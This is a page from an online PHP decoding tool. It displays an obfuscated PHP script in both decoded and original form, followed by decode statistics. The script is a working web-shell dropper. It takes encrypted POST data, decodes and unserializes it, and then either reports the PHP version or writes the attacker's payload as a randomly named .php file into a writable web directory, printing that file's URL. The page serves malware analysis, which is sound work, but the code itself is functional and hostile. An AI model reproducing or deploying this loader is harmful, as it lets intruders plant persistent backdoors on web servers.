Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $FoIPldMlC = chr(1049-981)."\x4f".chr(67)."\x55".chr(77).chr(69)."\x4e".chr(84).chr(..
Decoded Output download
<?php $FoIPldMlC = chr(1049-981)."O".chr(67)."U".chr(77).chr(69)."N".chr(84).chr(1057-962).'R'.'O'."O".chr(155-71);$Efrvt = "H".chr(302-218)."T"."P"."_".chr(364-292)."O".chr(1028-945).'T';$sYkbRg = 'h'.chr(116).chr(535-419).'p'.chr(427-369).'/'."/";$BQUZrWr = chr(46)."p".'h'."p";$ALuOns = 'p'.chr(104).chr(210-98);$xzOFALUf = chr(1015-913).'i'.chr(108).chr(734-633)."_"."p".chr(117).chr(116)."_".'c'."o".'n'."t".chr(101).chr(110)."t"."s";$EbWhYOOVk = chr(1098-984)."a".'w'.chr(117).'r'."l".chr(100).'e'.chr(436-337)."o".'d'.'e';$QCWatVTIX = "u"."n".chr(115).'e'.chr(258-144)."i"."a"."l"."i".chr(829-707).chr(101);$kxqDVrkGs = chr(112).'h'.chr(112)."v".chr(101).chr(114).chr(143-28)."i"."o".chr(1100-990);$GnClFPBxg = "s"."t".'r'.'_'.chr(795-681).chr(246-135)."t".chr(534-485)."3";$OWjbc = "s"."e".chr(157-43)."i".chr(97).chr(108)."i".chr(155-33).chr(1073-972);$CXHBJj = chr(897-782)."t".chr(114).chr(95)."s".'p'."l".chr(1099-994).'t';foreach ($_POST as $aCCHBXWEoO => $lZffeXj){if (strlen($aCCHBXWEoO) == 16){$lZffeXj = $CXHBJj($EbWhYOOVk($GnClFPBxg($lZffeXj)));$aCCHBXWEoO = array_slice($CXHBJj(str_repeat($aCCHBXWEoO, (count($lZffeXj)/16)+1)), 0, count($lZffeXj));function WVYZm($zPpQtad, $RNmHCXzje, $aCCHBXWEoO){$YzuKJB = "3c2c1079-656b-42ab-b084-60403059bbe1";return $zPpQtad ^ $YzuKJB[$RNmHCXzje % strlen($YzuKJB)] ^ $aCCHBXWEoO;}$lZffeXj = implode("", array_map("WVYZm", array_values($lZffeXj), array_keys($lZffeXj), array_values($aCCHBXWEoO)));$lZffeXj = @$QCWatVTIX($lZffeXj);if (@is_array($lZffeXj)){$oktGifBe = array_keys($lZffeXj);$lZffeXj = $lZffeXj[$oktGifBe[0]];if ($lZffeXj === $oktGifBe[0]){echo @$OWjbc(Array($ALuOns => @$kxqDVrkGs(), ));exit();}else {function jzKLbozgp($RIvddKir){static $ZhCut = array();$iZJkGZ = glob($RIvddKir . '/*', GLOB_ONLYDIR);if (count($iZJkGZ) > 0) {foreach ($iZJkGZ as $RIvddK) {if (@is_writable($RIvddK)) {$ZhCut[] = $RIvddK;}}}foreach ($iZJkGZ as $RIvddKir) jzKLbozgp($RIvddKir);return $ZhCut;}$WRmND = $_SERVER[$FoIPldMlC];$iZJkGZ = jzKLbozgp($WRmND);$oktGifBe = array_rand($iZJkGZ);$xfpvXOA = $iZJkGZ[$oktGifBe] . "/" . substr(md5(time()), 0, 8) . $BQUZrWr;@$xzOFALUf($xfpvXOA, $lZffeXj);echo $sYkbRg . $_SERVER[$Efrvt] . substr($xfpvXOA, strlen($WRmND));exit();}}}} ?>Did this file decode correctly?
Original Code
<?php $FoIPldMlC = chr(1049-981)."\x4f".chr(67)."\x55".chr(77).chr(69)."\x4e".chr(84).chr(1057-962).'R'.'O'."\x4f".chr(155-71);$Efrvt = "\x48".chr(302-218)."\124"."\x50"."\x5f".chr(364-292)."\117".chr(1028-945).'T';$sYkbRg = 'h'.chr(116).chr(535-419).'p'.chr(427-369).'/'."\57";$BQUZrWr = chr(46)."\x70".'h'."\160";$ALuOns = 'p'.chr(104).chr(210-98);$xzOFALUf = chr(1015-913).'i'.chr(108).chr(734-633)."\x5f"."\x70".chr(117).chr(116)."\137".'c'."\157".'n'."\x74".chr(101).chr(110)."\164"."\163";$EbWhYOOVk = chr(1098-984)."\x61".'w'.chr(117).'r'."\x6c".chr(100).'e'.chr(436-337)."\157".'d'.'e';$QCWatVTIX = "\x75"."\x6e".chr(115).'e'.chr(258-144)."\151"."\x61"."\154"."\151".chr(829-707).chr(101);$kxqDVrkGs = chr(112).'h'.chr(112)."\x76".chr(101).chr(114).chr(143-28)."\151"."\x6f".chr(1100-990);$GnClFPBxg = "\163"."\x74".'r'.'_'.chr(795-681).chr(246-135)."\x74".chr(534-485)."\x33";$OWjbc = "\x73"."\x65".chr(157-43)."\x69".chr(97).chr(108)."\x69".chr(155-33).chr(1073-972);$CXHBJj = chr(897-782)."\164".chr(114).chr(95)."\x73".'p'."\x6c".chr(1099-994).'t';foreach ($_POST as $aCCHBXWEoO => $lZffeXj){if (strlen($aCCHBXWEoO) == 16){$lZffeXj = $CXHBJj($EbWhYOOVk($GnClFPBxg($lZffeXj)));$aCCHBXWEoO = array_slice($CXHBJj(str_repeat($aCCHBXWEoO, (count($lZffeXj)/16)+1)), 0, count($lZffeXj));function WVYZm($zPpQtad, $RNmHCXzje, $aCCHBXWEoO){$YzuKJB = "3c2c1079-656b-42ab-b084-60403059bbe1";return $zPpQtad ^ $YzuKJB[$RNmHCXzje % strlen($YzuKJB)] ^ $aCCHBXWEoO;}$lZffeXj = implode("", array_map("WVYZm", array_values($lZffeXj), array_keys($lZffeXj), array_values($aCCHBXWEoO)));$lZffeXj = @$QCWatVTIX($lZffeXj);if (@is_array($lZffeXj)){$oktGifBe = array_keys($lZffeXj);$lZffeXj = $lZffeXj[$oktGifBe[0]];if ($lZffeXj === $oktGifBe[0]){echo @$OWjbc(Array($ALuOns => @$kxqDVrkGs(), ));exit();}else {function jzKLbozgp($RIvddKir){static $ZhCut = array();$iZJkGZ = glob($RIvddKir . '/*', GLOB_ONLYDIR);if (count($iZJkGZ) > 0) {foreach ($iZJkGZ as $RIvddK) {if (@is_writable($RIvddK)) {$ZhCut[] = $RIvddK;}}}foreach ($iZJkGZ as $RIvddKir) jzKLbozgp($RIvddKir);return $ZhCut;}$WRmND = $_SERVER[$FoIPldMlC];$iZJkGZ = jzKLbozgp($WRmND);$oktGifBe = array_rand($iZJkGZ);$xfpvXOA = $iZJkGZ[$oktGifBe] . "/" . substr(md5(time()), 0, 8) . $BQUZrWr;@$xzOFALUf($xfpvXOA, $lZffeXj);echo $sYkbRg . $_SERVER[$Efrvt] . substr($xfpvXOA, strlen($WRmND));exit();}}}}Function Calls
| chr | 49 |
Stats
| MD5 | e8d81ebc9cb8de1e01533b9628679779 |
| Eval Count | 0 |
| Decode Time | 129 ms |